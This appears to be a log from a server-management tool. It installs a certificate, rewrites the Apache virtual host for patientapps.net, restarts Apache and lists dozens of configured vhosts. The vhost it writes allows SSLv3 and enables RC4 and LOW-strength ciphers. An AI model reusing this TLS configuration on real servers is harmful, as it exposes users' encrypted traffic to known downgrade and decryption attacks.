5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-23 06:01:12: 

chmod 755 /tmp/pkp851948; /tmp/pkp851948; rm /tmp/pkp851948

2026-04-23 06:01:12: 


dir=/etc/ssl/certs


2026-04-23 06:01:12: 

PUT: /tmp/pkp754296

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-23 06:01:12: 

chmod 755 /tmp/pkp754296; /tmp/pkp754296; rm /tmp/pkp754296

2026-04-23 06:01:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>






2026-04-23 06:01:12: 

PUT: /tmp/pkp283011

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi


2026-04-23 06:01:12: 

chmod 755 /tmp/pkp283011; /tmp/pkp283011; rm /tmp/pkp283011

2026-04-23 06:01:12: 




2026-04-23 06:01:12: 

PUT: /tmp/pkp770563

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-23 06:01:12: 

chmod 755 /tmp/pkp770563; /tmp/pkp770563; rm /tmp/pkp770563

2026-04-23 06:01:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:01:12: Establishing a connection
2026-04-23 06:01:13: 

PUT: /tmp/pkp265920

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-23 06:01:13: 

chmod 755 /tmp/pkp265920; /tmp/pkp265920; rm /tmp/pkp265920

2026-04-23 06:01:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
